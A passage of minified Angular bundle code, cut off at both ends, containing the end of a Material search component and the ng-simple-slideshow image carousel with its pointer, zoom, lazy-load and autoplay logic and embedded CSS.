YNc(4,Dt,3,4,"mat-form-field",2),s.BQk(),s.TgZ(5,"span",3)(6,"mat-icon",4),s.NdJ("click",function(){return ie.close()}),s._uU(7," close "),s.qZA(),s.TgZ(8,"mat-icon",5),s.NdJ("click",function(){return ie.open()}),s._uU(9," search "),s.qZA()()),2&B&&(s.Q6J("ngSwitch",ie.mode),s.xp6(1),s.Q6J("ngSwitchCase",ie.DISPLAY_TYPE.AUTOCOMPLETE),s.xp6(1),s.Q6J("ngSwitchCase",ie.DISPLAY_TYPE.FORMCONTROL),s.xp6(1),s.Q6J("ngSwitchCase",ie.DISPLAY_TYPE.FORMCONTROLANDAUTOCOMPLETE),s.xp6(2),s.ekj("mat-search_icons--active",ie.searchVisible))},dependencies:[C.RF,C.n9,C.ED,Q.Fj,Q.JJ,Q.On,pe,w.Hw,oe.KE,R.Nt,u.wG,Q.oH],styles:["[_nghost-%COMP%]{position:relative;display:flex;flex-direction:row;align-items:center;justify-content:flex-end;width:24px;height:24px}.mat-search_field[_ngcontent-%COMP%]{position:absolute;z-index:1;padding:0 24px 0 0}.mat-search_icons[_ngcontent-%COMP%]{display:block;margin:0;padding:0;position:absolute;top:0;left:0}.mat-search_icons[_ngcontent-%COMP%]:hover{cursor:pointer}.mat-search_icons[_ngcontent-%COMP%] .mat-search_icon-close[_ngcontent-%COMP%], .mat-search_icons[_ngcontent-%COMP%] .mat-search_icon-search[_ngcontent-%COMP%]{transition:all .2s cubic-bezier(.4,0,.2,1);position:absolute;top:0;left:0;z-index:2;border-radius:50%}.mat-search_icons[_ngcontent-%COMP%] .mat-search_icon-close[_ngcontent-%COMP%], .mat-search_icons.mat-search_icons--active[_ngcontent-%COMP%] .mat-search_icon-search[_ngcontent-%COMP%]{opacity:0;transform:rotate(225deg)}.mat-search_icons.mat-search_icons--active[_ngcontent-%COMP%] .mat-search_icon-close[_ngcontent-%COMP%]{opacity:1;z-index:3;visibility:visible;transform:rotate(360deg)}"],data:{animation:[(0,X.X$)("slideInOut",[(0,X.SB)("true",(0,X.oB)({width:"*"})),(0,X.SB)("false",(0,X.oB)({width:"0"})),(0,X.eR)("true => false",(0,X.jt)("300ms ease-in")),(0,X.eR)("false => true",(0,X.jt)("300ms ease-out"))])]}}),m})(),x=(()=>{class m{}return m.\\u0275fac=function(B){return new(B||m)},m.\\u0275mod=s.oAB({type:m}),m.\\u0275inj=s.cJS({imports:[C.ez,Q.u5,P,w.Ps,R.c,u.si,Q.UX]}),m})()},5192:(At,ae,d)=>{"use strict";d.d(ae,{uK:()=>Q,w5:()=>G});var n=d(4650),a=d(6895),s=d(1481);const u=["container"],c=["prevArrow"],f=["nextArrow"];function E(oe,Ce){1&oe&&n._UZ(0,"div",15)}const _=function(oe,Ce){return{color:oe,"background-color":Ce}};function S(oe,Ce){if(1&oe&&n._UZ(0,"div",16),2&oe){const k=n.oxw().$implicit,K=n.oxw();n.Q6J("ngStyle",n.WLB(2,_,K.captionColor,K.captionBackground))("innerHTML",null==k||null==k.image?null:k.image.caption,n.oJD)}}function g(oe,Ce){if(1&oe){const k=n.EpF();n.TgZ(0,"a",12),n.NdJ("click",function(se){n.CHM(k);const ee=n.oxw();return n.KtG(ee.handleClick(se))}),n.YNc(1,E,1,0,"div",13),n.YNc(2,S,1,5,"div",14),n.qZA()}if(2&oe){const k=Ce.$implicit,K=Ce.index,se=n.oxw();n.ekj("selected",null==k?null:k.selected)("hide-slide",!(null!=k&&k.selected||null!=k&&k.leftSide||null!=k&&k.rightSide))("left-side",null==k?null:k.leftSide)("right-side",null==k?null:k.rightSide)("slide-in-left","slideInLeft"===(null==k?null:k.action))("slide-in-right","slideInRight"===(null==k?null:k.action))("slide-out-left","slideOutLeft"===(null==k?null:k.action))("slide-out-right","slideOutRight"===(null==k?null:k.action))("link",(null==k||null==k.image?null:k.image.clickAction)||(null==k||null==k.image?null:k.image.href)),n.s9C("title",null==k||null==k.image?null:k.image.title),n.Q6J("ngStyle",se.getSlideStyle(K)),n.xp6(1),n.Q6J("ngIf",!(null!=k&&k.loaded)),n.xp6(1),n.Q6J("ngIf",se.showCaptions&&(null==k||null==k.image?null:k.image.caption))}}function C(oe,Ce){if(1&oe){const k=n.EpF();n.TgZ(0,"li",19),n.NdJ("click",function(){const ee=n.CHM(k).index,q=n.oxw(2);return n.KtG(q.goToSlide(ee))}),n.TgZ(1,"button",20),n._uU(2),n.qZA()()}if(2&oe){const k=Ce.$implicit,K=Ce.index,se=n.oxw(2);n.ekj("slick-active",k.selected),n.xp6(1),n.uIk("style",se.safeStyleDotColor,n.Ckj),n.xp6(1),n.hij(" ",K," ")}}function z(oe,Ce){if(1&oe&&(n.TgZ(0,"ul",17),n.YNc(1,C,3,4,"li",18),n.qZA()),2&oe){const k=n.oxw();n.xp6(1),n.Q6J("ngForOf",k.slides)("ngForTrackBy",k.trackByFn)}}class H{constructor(){this.aw=0,this.ah=0,this.w=0,this.h=0}get ar(){return this.w/this.h}get diag(){return Math.sqrt(this.w*this.w+this.h*this.h)}get valid(){return this.w>0&&this.h>0&&this.aw>0&&this.ah>0}get widthBound(){return this.ar>this.aw/this.ah}}let j=(()=>{class oe{constructor(k){this.platform_id=k,this._disableSwiping=!1,this._enableZoom=!1,this._enablePan=!1,this._startEVCache=null,this._evCache=new Array,this._previousDiagonal=-1,this._originalState=new H,this._slideEvent=new n.vpe(!0),this._clickEvent=new n.vpe(!0),this.pointerUp=K=>{this._pointerUp(K)},this.pointerDown=K=>{this._pointerDown(K)},this.pointerMove=K=>{this._pointerMove(K)}}set disableSwiping(k){this._disableSwiping=k}set enableZoom(k){this._enableZoom=k}set enablePan(k){this._enablePan=k}bind(k){(0,a.NF)(this.platform_id)&&(k.nativeElement.addEventListener("pointerdown",this.pointerDown),k.nativeElement.addEventListener("pointerup",this.pointerUp),k.nativeElement.addEventListener("pointercancel",this.pointerUp),k.nativeElement.addEventListener("pointerout",this.pointerUp),k.nativeElement.addEventListener("pointerleave",this.pointerUp),k.nativeElement.addEventListener("pointermove",this.pointerMove))}unbind(k){(0,a.NF)(this.platform_id)&&(k.nativeElement.removeEventListener("pointerdown",this.pointerDown),k.nativeElement.removeEventListener("pointerup",this.pointerUp),k.nativeElement.removeEventListener("pointercancel",this.pointerUp),k.nativeElement.removeEventListener("pointerout",this.pointerUp),k.nativeElement.removeEventListener("pointerleave",this.pointerUp),k.nativeElement.removeEventListener("pointermove",this.pointerMove))}get slideEvent(){return this._slideEvent}get clickEvent(){return this._clickEvent}_pointerDown(k){this._evCache.push(k),1===this._evCache.length&&(this._startEVCache=k,(this._enablePan||this._enableZoom)&&(this._loadOriginalState(k),this._convertBGSizeToPixels(k),this._convertBGPosToPixels(k)))}_loadOriginalState(k){if(!this._originalState.valid&&k.target&&k.target.style&&k.target.style.backgroundImage){const K=k.target.style.backgroundImage.match(/^url\\(["\']?(.+?)["\']?\\)$/),se=new Image;se.src=K[1],this._originalState.aw=k.target.offsetWidth,this._originalState.ah=k.target.offsetHeight,this._originalState.w=se.width,this._originalState.h=se.height}}_convertBGSizeToPixels(k){const K=k.target;let se=K.style.backgroundSize;if(se.indexOf(" ")>-1){const ee=se.split(" ");se=this._originalState.widthBound?ee[0]:ee[1]}if("cover"===se)se=this._originalState.widthBound?this._originalState.ah*this._originalState.ar:this._originalState.aw;else if(se.indexOf("px")>-1)se=se.substring(0,se.length-2);else if(se.indexOf("%")>-1){const ee=Number(se.substring(0,se.length-1))/100;se=this._originalState.widthBound?this._originalState.aw*ee:this._originalState.ah*ee*this._originalState.ar}else se="auto"===se?this._originalState.w:this._originalState.widthBound?this._originalState.aw:this._originalState.ah*this._originalState.ar;K.style.backgroundSize=se+"px auto"}_convertBGPosToPixels(k){if(this._originalState.valid){const K=k.target,se=this._currentBGSize(k);let ee=K.style.backgroundPositionX;-1===ee.indexOf("px")&&(ee=this._convertLiteralPosToPercentage(ee),ee.indexOf("%")>-1&&(ee=Number(ee.substring(0,ee.length-1))/100*(this._originalState.aw-se)),K.style.backgroundPositionX=ee+"px");let q=K.style.backgroundPositionY;-1===q.indexOf("px")&&(q=this._convertLiteralPosToPercentage(q),q.indexOf("%")>-1&&(q=Number(q.substring(0,q.length-1))/100*(this._originalState.ah-se/this._originalState.ar)),K.style.backgroundPositionY=q+"px")}}_pointerUp(k){for(let K=0;K<this._evCache.length;K++)if(this._evCache[K].pointerId===k.pointerId){this._evCache.splice(K,1);break}2!==this._evCache.length&&(this._previousDiagonal=-1),0===this._evCache.length&&null!==this._startEVCache&&(this._checkClickOrSwipe(k),this._startEVCache=null,this._originalState=new H)}_checkClickOrSwipe(k){if(!this._targetIsASlide(k))return;const K=k.timeStamp-this._startEVCache.timeStamp,se=k.pageX-this._startEVCache.pageX,ee=k.pageY-this._startEVCache.pageY;!this._enablePan&&Math.abs(se)<15&&Math.abs(ee)<15?this._clickEvent.emit():K<1e3&&Math.abs(ee)<=100&&Math.abs(se)>=30&&!this._disableSwiping&&this._cannotPanMoreTest(k,se)&&this._slideEvent.emit(se<0?1:-1)}_targetIsASlide(k){return k.target.classList.contains("slides")}_cannotPanMoreTest(k,K){if(!this._enablePan)return!0;const se=this._currentBGPosX(k),ee=this._currentBGSize(k);return!(K<0&&ee>this._originalState.aw&&Math.round(this._originalState.aw-ee-se)<0||K>0&&ee>this._originalState.aw&&se<0)}_pointerMove(k){k.preventDefault(),1===this._evCache.length&&this._enablePan&&this._1pointMoveAction(k);for(let K=0;K<this._evCache.length;K++)if(k.pointerId===this._evCache[K].pointerId){this._evCache[K]=k;break}2===this._evCache.length&&this._enableZoom&&this._2pointMoveAction(k)}_1pointMoveAction(k){if(this._evCache[0].pointerId===k.pointerId){const K=this._evCache[0].pageX-k.pageX,se=this._evCache[0].pageY-k.pageY;this._originalState.valid&&(0!==K||0!==se)&&this._transformBGPosition(k,K,se)}}_2pointMoveAction(k){const K=Math.abs(this._evCache[0].pageX-this._evCache[1].pageX),se=Math.abs(this._evCache[0].pageY-this._evCache[1].pageY);let ee=Math.sqrt(K*K+se*se);this._previousDiagonal>0&&this._originalState.valid&&this._transformBGSize(k,ee-this._previousDiagonal),this._previousDiagonal=ee}_transformBGPosition(k,K,se){const ee=k.target,q=this._currentBGPosX(k),we=this._currentBGPosY(k),ce=this._newBGPosXConstraint(q-K,k),je=this._newBGPosYConstraint(we-se,k);(ce!==q||je!==we)&&this._setBGPos(ee,ce,je)}_setBGPos(k,K,se){k.style.backgroundPositionX=K+"px",k.style.backgroundPositionY=se+"px"}_currentBGPosX(k){let K=k.target.style.backgroundPositionX;return K.indexOf("px")>-1&&(K=K.substring(0,K.length-2)),Number(K)}_currentBGPosY(k){let K=k.target.style.backgroundPositionY;return K.indexOf("px")>-1&&(K=K.substring(0,K.length-2)),Number(K)}_convertLiteralPosToPercentage(k){return"center"===k?"50%":"top"===k||"left"===k?"0%":"bottom"===k||"right"===k?"100%":void 0}_transformBGSize(k,K){const se=k.target,ee=this._currentBGSize(k),q=this._newBGSizeConstraint(ee+K);q!==ee&&this._setBGSize(se,q)}_setBGSize(k,K){k.style.backgroundSize=K+"px auto",k.style.touchAction="none"}_currentBGSize(k){const K=k.target.style.backgroundSize;if(K.indexOf(" ")>-1){const se=K.split(" "),ee=this._originalState.widthBound?se[0].substring(0,se[0].length-2):se[1].substring(0,se[1].length-2);return Number(ee)}if(K.indexOf("px")>-1){const se=K.substring(0,K.length-2);return Number(se)}}_newBGSizeConstraint(k){return this._originalState.widthBound?k<this._originalState.aw?this._originalState.aw:k:k/this._originalState.ar<this._originalState.ah?this._originalState.ah*this._originalState.ar:k}_newBGPosXConstraint(k,K){const se=this._currentBGSize(K);if(se>=this._originalState.aw){if(k>0)return 0;if(k<this._originalState.aw-se)return this._originalState.aw-se}else{if(k<0)return 0;if(k>this._originalState.aw-se)return this._originalState.aw-se}return k}_newBGPosYConstraint(k,K){const se=this._currentBGSize(K);if(se/this._originalState.ar>=this._originalState.ah){if(k>0)return 0;if(k<this._originalState.ah-se/this._originalState.ar)return this._originalState.ah-se/this._originalState.ar}else{if(k<0)return 0;if(k>this._originalState.ah-se/this._originalState.ar)return this._originalState.ah-se/this._originalState.ar}return k}}return oe.\\u0275fac=function(k){return new(k||oe)(n.LFG(n.Lbi))},oe.\\u0275prov=n.Yz7({token:oe,factory:oe.\\u0275fac}),oe})();const U=(0,s.Cb)("firstSlide");let G=(()=>{class oe{constructor(k,K,se,ee,q,we,ce,je){this._pointerService=k,this._renderer=K,this._transferState=se,this._ngZone=ee,this._cdRef=q,this.sanitizer=we,this.platform_id=ce,this.document=je,this.slideIndex=-1,this.slides=[],this.hideLeftArrow=!1,this.hideRightArrow=!1,this._initial=!0,this._isHidden=!1,this.imageUrls=[],this.height="100%",this.showArrows=!0,this.disableSwiping=!1,this.autoPlay=!1,this.autoPlayInterval=3333,this.stopAutoPlayOnSlide=!0,this.autoPlayWaitForLazyLoad=!0,this.backgroundSize="cover",this.backgroundPosition="center center",this.backgroundRepeat="no-repeat",this.showDots=!1,this.dotColor="#FFF",this.showCaptions=!0,this.captionColor="#FFF",this.captionBackground="rgba(0, 0, 0, .35)",this.lazyLoad=!1,this.hideOnNoSlides=!1,this.fullscreen=!1,this.enableZoom=!1,this.enablePan=!1,this.noLoop=!1,this.onSlideLeft=new n.vpe,this.onSlideRight=new n.vpe,this.onSwipeLeft=new n.vpe,this.onSwipeRight=new n.vpe,this.onFullscreenExit=new n.vpe,this.onIndexChanged=new n.vpe,this.onImageLazyLoad=new n.vpe,this.onClick=new n.vpe}get safeStyleDotColor(){return this.sanitizer.bypassSecurityTrustStyle(`--dot-color: ${this.dotColor}`)}ngOnInit(){void 0!==this.debug&&console.warn("[Deprecation Warning]: The debug input will be removed from ng-simple-slideshow in 1.3.0"),this._slideSub=this._pointerService.slideEvent.subscribe(k=>{this.onSlide(k,!0)}),this._clickSub=this._pointerService.clickEvent.subscribe(()=>{this._onClick()}),this.noLoop&&(this.hideLeftArrow=!0)}ngAfterViewInit(){this._pointerService.bind(this.container)}ngOnDestroy(){try{this._slideSub&&!this._slideSub.closed&&this._slideSub.unsubscribe()}catch(k){console.warn("Slide Subscription error caught in ng-simple-slideshow OnDestroy:",k)}try{this._clickSub&&!this._clickSub.closed&&this._clickSub.unsubscribe()}catch(k){console.warn("Click Subscription error caught in ng-simple-slideshow OnDestroy:",k)}try{this._pointerService.unbind(this.container)}catch(k){console.warn("Pointer Service unbind error caught in ng-simple-slideshow OnDestroy:",k)}try{this._autoplayIntervalId&&(this._ngZone.runOutsideAngular(()=>clearInterval(this._autoplayIntervalId)),this._autoplayIntervalId=null)}catch(k){console.warn("Autoplay cancel error caught in ng-simple-slideshow OnDestroy:",k)}}ngOnChanges(k){k.noLoop&&(k.noLoop.currentValue?(this.hideLeftArrow=this.slideIndex<=0,this.hideRightArrow=this.slideIndex===this.slides.length-1):(this.hideLeftArrow=!1,this.hideRightArrow=!1),this._cdRef.detectChanges())}ngDoCheck(){this.imageUrls&&this.imageUrls.length>0?(!0===this._initial&&(this._urlCache=Array.from(this.imageUrls)),!0===this._isHidden&&(this._renderer.removeStyle(this.container.nativeElement,"display"),this._isHidden=!1),this.setSlides()):!0===this.hideOnNoSlides&&(this._renderer.setStyle(this.container.nativeElement,"display","none"),this._isHidden=!0),this.setStyles(),this.handleAutoPlay(),this._pointerService.disableSwiping=this.disableSwiping,this._pointerService.enableZoom=this.enableZoom,this._pointerService.enablePan=this.enablePan}onSlide(k,K){this.handleAutoPlay(this.stopAutoPlayOnSlide),this.slide(k,K)}_onClick(){const k=this.slides.length>0&&this.slides[this.slideIndex];this.onClick.emit({slide:k,index:this.slideIndex}),k&&k.image.clickAction?k.image.clickAction():k&&k.image.href&&(this.document.location.href=k.image.href)}goToSlide(k){const K=this.slideIndex;this.slideIndex=k-1,this.setSlideIndex(1),this.slides[this.slideIndex]&&!this.slides[this.slideIndex].loaded&&this.loadRemainingSlides(),this.handleAutoPlay(this.stopAutoPlayOnSlide),this.slideRight(K),this.slides[K].selected=!1,this.slides[this.slideIndex].selected=!0,this._cdRef.detectChanges()}getSlideStyle(k){const K=this.slides[k];return K&&K.loaded?{"background-image":"url("+K.image.url+")","background-size":K.image.backgroundSize||this.backgroundSize,"background-position":K.image.backgroundPosition||this.backgroundPosition,"background-repeat":K.image.backgroundRepeat||this.backgroundRepeat}:{"background-image":void 0,"background-size":void 0,"background-position":void 0,"background-repeat":void 0}}exitFullScreen(k){k.preventDefault(),this.fullscreen=!1,this.onFullscreenExit.emit(!0)}slide(k,K){const se=this.slideIndex;this.setSlideIndex(k)&&(this.slides[this.slideIndex]&&!this.slides[this.slideIndex].loaded&&this.loadRemainingSlides(),1===k?this.slideRight(se,K):this.slideLeft(se,K),this.slides[se].selected=!1,this.slides[this.slideIndex].selected=!0),this._cdRef.detectChanges()}setSlideIndex(k){let K=!0;return this.slideIndex+=k,this.noLoop&&(this.hideRightArrow=this.slideIndex===this.slides.length-1,this.hideLeftArrow=!1),this.slideIndex<0?this.noLoop?(this.slideIndex-=k,K=!1,this.hideLeftArrow=!0):this.slideIndex=this.slides.length-1:this.slideIndex>=this.slides.length&&(this.noLoop?(this.slideIndex-=k,K=!1,this.hideRightArrow=!0):this.slideIndex=0),K&&this.onIndexChanged.emit(this.slideIndex),K}slideLeft(k,K){!0===K?this.onSwipeLeft.emit(this.slideIndex):this.onSlideLeft.emit(this.slideIndex),this.slides[this.getLeftSideIndex(k)].leftSide=!1,this.slides[k].leftSide=!0,this.slides[k].action="slideOutLeft",this.slides[this.slideIndex].rightSide=!1,this.slides[this.getRightSideIndex()].rightSide=!0,this.slides[this.slideIndex].action="slideInRight"}slideRight(k,K){!0===K?this.onSwipeRight.emit(this.slideIndex):this.onSlideRight.emit(this.slideIndex),this.slides[this.getRightSideIndex(k)].rightSide=!1,this.slides[k].rightSide=!0,this.slides[k].action="slideOutRight",this.slides[this.slideIndex].leftSide=!1,this.slides[this.getLeftSideIndex()].leftSide=!0,this.slides[this.slideIndex].action="slideInLeft"}setSlides(){this.imageUrls&&(this.checkCache()||!0===this._initial)&&(this._initial=!1,this._urlCache=Array.from(this.imageUrls),this.slides=[],!0===this.lazyLoad?this.buildLazyLoadSlideArray():this.buildSlideArray(),this._cdRef.detectChanges())}buildLazyLoadSlideArray(){for(let k of this.imageUrls)this.slides.push({image:"string"==typeof k?{url:null}:{url:null,href:k.href||""},action:"",leftSide:!1,rightSide:!1,selected:!1,loaded:!1});-1===this.slideIndex&&(this.slideIndex=0),this.slides[this.slideIndex].selected=!0,this.loadFirstSlide(),this.onIndexChanged.emit(this.slideIndex)}buildSlideArray(){for(let k of this.imageUrls)this.slides.push({image:"string"==typeof k?{url:k}:k,action:"",leftSide:!1,rightSide:!1,selected:!1,loaded:!0});-1===this.slideIndex&&(this.slideIndex=0),this.slides[this.slideIndex].selected=!0,this.onIndexChanged.emit(this.slideIndex)}loadFirstSlide(){const k=this.slideIndex,K=this.imageUrls[k];if((0,a.PM)(this.platform_id))this.slides[k].image="string"==typeof K?{url:K}:K,this.slides[k].loaded=!0,this._transferState.set(U,this.slides[k]);else{const se=this._transferState.get(U,null);if(null===se){let ee=new Image;ee.src="string"==typeof K?K:K.url,ee.addEventListener("load",()=>{this.slides[k].image="string"==typeof K?{url:K}:K,this.slides[k].loaded=!0,this.onImageLazyLoad.emit(this.slides[k]),this._cdRef.detectChanges()})}else this.slides[k]=se,this._transferState.remove(U)}}loadRemainingSlides(){for(let k=0;k<this.slides.length;k++)this.slides[k].loaded||new Promise(K=>{const se=this.imageUrls[k];let ee=new Image;ee.addEventListener("load",()=>{this.slides[k].image="string"==typeof se?{url:se}:se,this.slides[k].loaded=!0,this._cdRef.detectChanges(),this.onImageLazyLoad.emit(this.slides[k]),K()}),ee.src="string"==typeof se?se:se.url})}handleAutoPlay(k){(0,a.PM)(this.platform_id)||(!0===k||!1===this.autoPlay?this._autoplayIntervalId&&(this._ngZone.runOutsideAngular(()=>clearInterval(this._autoplayIntervalId)),this._autoplayIntervalId=null):this._autoplayIntervalId||this._ngZone.runOutsideAngular(()=>{this._autoplayIntervalId=setInterval(()=>{(!this.autoPlayWaitForLazyLoad||this.autoPlayWaitForLazyLoad&&this.slides[this.slideIndex]&&this.slides[this.slideIndex].loaded)&&this._ngZone.run(()=>this.slide(1))},this.autoPlayInterval)}))}setStyles(){this.fullscreen?(this._renderer.setStyle(this.container.nativeElement,"height","100%"),this._renderer.setStyle(this.container.nativeElement,"background-color","white")):(this._renderer.removeStyle(this.container.nativeElement,"background-color"),this.height&&this._renderer.setStyle(this.container.nativeElement,"height",this.height),this.minHeight&&this._renderer.setStyle(this.container.nativeElement,"min-height",this.minHeight)),this.arrowSize&&(this._renderer.setStyle(this.prevArrow.nativeElement,"height",this.arrowSize),this._renderer.setStyle(this.prevArrow.nativeElement,"width",this.arrowSize),this._renderer.setStyle(this.nextArrow.nativeElement,"height",this.arrowSize),this._renderer.setStyle(this.nextArrow.nativeElement,"width",this.arrowSize))}checkCache(){return!(this._urlCache.length===this.imageUrls.length&&this._urlCache.every((k,K)=>k===this.imageUrls[K]))}getLeftSideIndex(k){return void 0===k&&(k=this.slideIndex),--k<0&&(k=this.slides.length-1),k}getRightSideIndex(k){return void 0===k&&(k=this.slideIndex),++k>=this.slides.length&&(k=0),k}trackByFn(k,K){return K.image}handleClick(k){k.preventDefault()}}return oe.\\u0275fac=function(k){return new(k||oe)(n.Y36(j),n.Y36(n.Qsj),n.Y36(s.ki),n.Y36(n.R0b),n.Y36(n.sBO),n.Y36(s.H7),n.Y36(n.Lbi),n.Y36(a.K0))},oe.\\u0275cmp=n.Xpm({type:oe,selectors:[["slideshow"]],viewQuery:function(k,K){if(1&k&&(n.Gf(u,5),n.Gf(c,5),n.Gf(f,5)),2&k){let se;n.iGM(se=n.CRH())&&(K.container=se.first),n.iGM(se=n.CRH())&&(K.prevArrow=se.first),n.iGM(se=n.CRH())&&(K.nextArrow=se.first)}},inputs:{imageUrls:"imageUrls",height:"height",showArrows:"showArrows",disableSwiping:"disableSwiping",autoPlay:"autoPlay",autoPlayInterval:"autoPlayInterval",stopAutoPlayOnSlide:"stopAutoPlayOnSlide",autoPlayWaitForLazyLoad:"autoPlayWaitForLazyLoad",backgroundSize:"backgroundSize",backgroundPosition:"backgroundPosition",backgroundRepeat:"backgroundRepeat",showDots:"showDots",dotColor:"dotColor",showCaptions:"showCaptions",captionColor:"captionColor",captionBackground:"captionBackground",lazyLoad:"lazyLoad",hideOnNoSlides:"hideOnNoSlides",fullscreen:"fullscreen",enableZoom:"enableZoom",enablePan:"enablePan",noLoop:"noLoop",minHeight:"minHeight",arrowSize:"arrowSize",debug:"debug"},outputs:{onSlideLeft:"onSlideLeft",onSlideRight:"onSlideRight",onSwipeLeft:"onSwipeLeft",onSwipeRight:"onSwipeRight",onFullscreenExit:"onFullscreenExit",onIndexChanged:"onIndexChanged",onImageLazyLoad:"onImageLazyLoad",onClick:"onClick"},features:[n._Bn([j]),n.TTD],decls:12,vars:11,consts:[[1,"fs-container",3,"click"],["title","Back",1,"arrow-exitfs","prev"],[1,"slideshow-container"],["container",""],["class","slides","href","#!","tabindex","-1",3,"title","ngStyle","selected","hide-slide","left-side","right-side","slide-in-left","slide-in-right","slide-out-left","slide-out-right","link","click",4,"ngFor","ngForOf","ngForTrackBy"],[1,"arrow-container","prev",3,"click"],["title","Previous",1,"arrow","prev"],["prevArrow",""],[1,"arrow-container","next",3,"click"],["title","Next",1,"arrow","next"],["nextArrow",""],["class","slick-dots",4,"ngIf"],["href","#!","tabindex","-1",1,"slides",3,"title","ngStyle","click"],["class","loader",4,"ngIf"],["class","caption",3,"ngStyle","innerHTML",4,"ngIf"],[1,"loader"],[1,"caption",3,"ngStyle","innerHTML"],[1,"slick-dots"],[3,"slick-active","click",4,"ngFor","ngForOf","ngForTrackBy"],[3,"click"],["type","button"]],template:function(k,K){1&k&&(n.TgZ(0,"div",0),n.NdJ("click",function(ee){return K.exitFullScreen(ee)}),n._UZ(1,"i",1),n.qZA(),n.TgZ(2,"div",2,3),n.YNc(4,g,3,22,"a",4),n.TgZ(5,"div",5),n.NdJ("click",function(){return K.onSlide(-1)}),n._UZ(6,"i",6,7),n.qZA(),n.TgZ(8,"div",8),n.NdJ("click",function(){return K.onSlide(1)}),n._UZ(9,"i",9,10),n.qZA(),n.YNc(11,z,2,2,"ul",11),n.qZA()),2&k&&(n.ekj("display-none",!K.fullscreen),n.xp6(2),n.ekj("slideshow-container-fs",K.fullscreen),n.xp6(2),n.Q6J("ngForOf",K.slides)("ngForTrackBy",K.trackByFn),n.xp6(1),n.ekj("display-none",!K.showArrows||K.hideLeftArrow),n.xp6(3),n.ekj("display-none",!K.showArrows||K.hideRightArrow),n.xp6(3),n.Q6J("ngIf",K.showDots))},dependencies:[a.sg,a.O5,a.PC],styles:[".display-none[_ngcontent-%COMP%] {\\n display: none !important; }\\n\\n .fs-container[_ngcontent-%COMP%] {\\n display: block;\\n cursor: pointer;\\n position: fixed;\\n z-index: 1;\\n top: 16px;\\n left: 16px;\\n width: 46px;\\n height: 46px;\\n text-align: center;\\n padding: 0;\\n background-color: rgba(0, 0, 0, 0.2);\\n -webkit-transition: all .2s ease-in-out;\\n transition: all .2s ease-in-out; }\\n .fs-container[_ngcontent-%COMP%]:hover {\\n background-color: rgba(0, 0, 0, 0.33); }\\n .fs-container[_ngcontent-%COMP%] .arrow-exitfs[_ngcontent-%COMP%] {\\n display: block;\\n width: 30px;\\n height: 30px;\\n background: transparent;\\n border-top: 2px solid #f2f2f2;\\n -webkit-transition: all .2s ease-in-out;\\n transition: all .2s ease-in-out; }\\n .fs-container[_ngcontent-%COMP%] .arrow-exitfs.prev[_ngcontent-%COMP%] {\\n -webkit-transform: rotate(-45deg);\\n transform: rotate(-45deg);\\n position: relative;\\n left: 18px;\\n top: 18px; }\\n .fs-container[_ngcontent-%COMP%] .arrow-exitfs[_ngcontent-%COMP%]:after {\\n content: \'\';\\n width: 30px;\\n height: 30px;\\n background: transparent;\\n border-top: 2px solid #f2f2f2;\\n -webkit-transform: rotate(90deg);\\n transform: rotate(90deg);\\n position: absolute;\\n left: -15px;\\n top: -17px; }\\n\\n .slideshow-container.slideshow-container-fs[_ngcontent-%COMP%] {\\n position: fixed;\\n left: 0;\\n top: 0;\\n width: 100%;\\n height: 100%; }\\n\\n .slideshow-container[_ngcontent-%COMP%] {\\n position: relative;\\n display: block;\\n margin: auto;\\n height: 100%;\\n width: 100%;\\n overflow: hidden; }\\n .slideshow-container[_ngcontent-%COMP%] .hide-slide[_ngcontent-%COMP%] {\\n visibility: hidden;\\n position: absolute;\\n top: -100vw;\\n left: -100vw;\\n opacity: 0; }\\n .slideshow-container[_ngcontent-%COMP%] .slides[_ngcontent-%COMP%] {\\n -ms-touch-action: pan-y;\\n touch-action: pan-y;\\n position: absolute;\\n top: 0;\\n height: 100%;\\n width: 100%;\\n visibility: visible;\\n opacity: 1;\\n display: block; }\\n .slideshow-container[_ngcontent-%COMP%] .slides.selected[_ngcontent-%COMP%] {\\n left: 0; }\\n .slideshow-container[_ngcontent-%COMP%] .slides.left-slide[_ngcontent-%COMP%] {\\n left: -100%; }\\n .slideshow-container[_ngcontent-%COMP%] .slides.right-slide[_ngcontent-%COMP%] {\\n left: 100%; }\\n .slideshow-container[_ngcontent-%COMP%] .slides.slide-in-left[_ngcontent-%COMP%] {\\n left: 0;\\n -webkit-animation: _ngcontent-%COMP%_slideInLeft 0.5s cubic-bezier(0.42, 0, 0.58, 1);\\n animation: _ngcontent-%COMP%_slideInLeft 0.5s cubic-bezier(0.42, 0, 0.58, 1); }\\n .slideshow-container[_ngcontent-%COMP%] .slides.slide-in-right[_ngcontent-%COMP%] {\\n left: 0;\\n -webkit-animation: _ngcontent-%COMP%_slideInRight 0.5s cubic-bezier(0.42, 0, 0.58, 1);\\n animation: _ngcontent-%COMP%_slideInRight 0.5s cubic-bezier(0.42, 0, 0.58, 1); }\\n .slideshow-container[_ngcontent-%COMP%] .slides.slide-out-left[_ngcontent-%COMP%] {\\n left: -100%;\\n -webkit-animation: _ngcontent-%COMP%_slideOutLeft 0.5s cubic-bezier(0.42, 0, 0.58, 1);\\n animation: _ngcontent-%COMP%_slideOutLeft 0.5s cubic-bezier(0.42, 0, 0.58, 1); }\\n .slideshow-container[_ngcontent-%COMP%] .slides.slide-out-right[_ngcontent-%COMP%] {\\n left: 100%;\\n -webkit-animation: _ngcontent-%COMP%_slideOutRight 0.5s cubic-bezier(0.42, 0, 0.58, 1);\\n animation: _ngcontent-%COMP%_slideOutRight 0.5s cubic-bezier(0.42, 0, 0.58, 1); }\\n .slideshow-container[_ngcontent-%COMP%] .slides.link[_ngcontent-%COMP%] {\\n cursor: pointer; }\\n .slideshow-container[_ngcontent-%COMP%] .slides[_ngcontent-%COMP%]:not(.link) {\\n cursor: default; }\\n .slideshow-container[_ngcontent-%COMP%] .caption[_ngcontent-%COMP%] {\\n position: absolute;\\n bottom: 0;\\n padding: 10px;\\n width: 100%; }\\n .slideshow-container[_ngcontent-%COMP%] .arrow-container[_ngcontent-%COMP%] {\\n display: -webkit-box;\\n display: -ms-flexbox;\\n display: flex;\\n -webkit-box-align: center;\\n -ms-flex-align: center;\\n align-items: center;\\n -webkit-box-pack: center;\\n -ms-flex-pack: center;\\n justify-content: center;\\n position: absolute;\\n top: 0;\\n height: 100%;\\n width: auto;\\n cursor: pointer;\\n background-size: 100%;\\n background-image: -webkit-gradient(linear, left top, left bottom, from(transparent), to(transparent));\\n background-image: linear-gradient(transparent, transparent);\\n z-index: 100;\\n -webkit-user-select: none;\\n -moz-user-select: none;\\n -ms-user-select: none;\\n user-select: none; }\\n 